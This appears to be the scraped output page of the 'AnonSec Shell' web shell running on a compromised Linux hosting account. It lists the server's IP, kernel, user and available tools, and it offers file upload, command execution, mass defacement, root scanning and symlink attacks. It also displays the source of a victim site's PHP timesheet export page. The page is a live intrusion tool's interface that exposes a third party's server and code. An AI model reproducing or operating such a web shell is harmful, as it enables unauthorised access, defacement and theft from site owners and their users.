AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/ilawasia.onnud20.com/themes_v1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/ilawasia.onnud20.com/themes_v1/mytimesheetsummary_old.php
<?php
  $year = date("Y");
  $month = date("m");
  if(@$_GET['Year']!=''){$year=@$_GET['Year'];}
  if(@$_GET['Month']!=''){$month=@$_GET['Month'];}
?>
<input type="hidden" id="page-menu-id" name="" value="#menu_case" />
<div class="d-sm-flex align-items-center justify-content-between mb-4">
    <h1 class="h3 mb-0 text-gray-800">Case > Report > Time Sheet Summary</h1>
</div>
<form action="" method="get" id="export-timesheet" class="mb-3">
    <div class="row">
        <div class="col-md-1">
            Year:
        </div>
        <div class="col-md-2">
            <select class="form-control" name="Year">
              <?php for($i = $year-3; $i<=$year+1;$i++){ //  @for (int i = (DateTime.Now.Year - 1); i <= (DateTime.Now.Year + 1); i++){ ?>

                    <option value="<?php echo $i; ?>" <?php echo ($year==$i)?"selected" : ""; ?>><?php echo $i; ?></option>
                <?php } ?>
            </select>
        </div>
        <div class="col-md-1">
            Month:
        </div>
        <div class="col-md-2">
            <select class="form-control" name="Month">
              <?php for($i = 1; $i<=12;$i++){ //  @for (int i = (DateTime.Now.Year - 1); i <= (DateTime.Now.Year + 1); i++){ ?>
                    <option value="<?php echo $i; ?>" <?php echo ($month==$i)?"selected" : ""; ?>>
                      <?php echo $util_class->m_th_re($i); ?>
                    </option>

              <?php } ?>
            </select>
        </div>
        <div class="col-md-6">
            <button class="btn btn-success" type="button" onclick="ExportExcel()"><i class="fas fa-file-excel"></i> Export to Excel</button>
            <button class="btn btn-danger" type="button" onclick="ExportPdf()"><i class="fas fa-file-pdf"></i> Export to Pdf</button>
        </div>
    </div>
</form>

    <script>
        function ExportExcel() {
            var objForm = $("#export-timesheet").serializeFormJSON();
            $.ajax({
              url: 'MyTimeSheetSummaryExcel.php',
              data: objForm,
              type: 'POST',
              success: function (resp) {
                //console.log(resp);
                var res = JSON.parse(resp);
                if(res.mes == 'success'){
                  window.open(res.file, "new");
                }
              }
            });
        }
        function ExportPdf() {
            var objForm = $("#export-timesheet").serializeFormJSON();
            window.open("MyTimeSheetSummaryPdf.php?" + $.param(objForm), "new");
        }
    </script>

Anon7 - 2022
AnonSec Team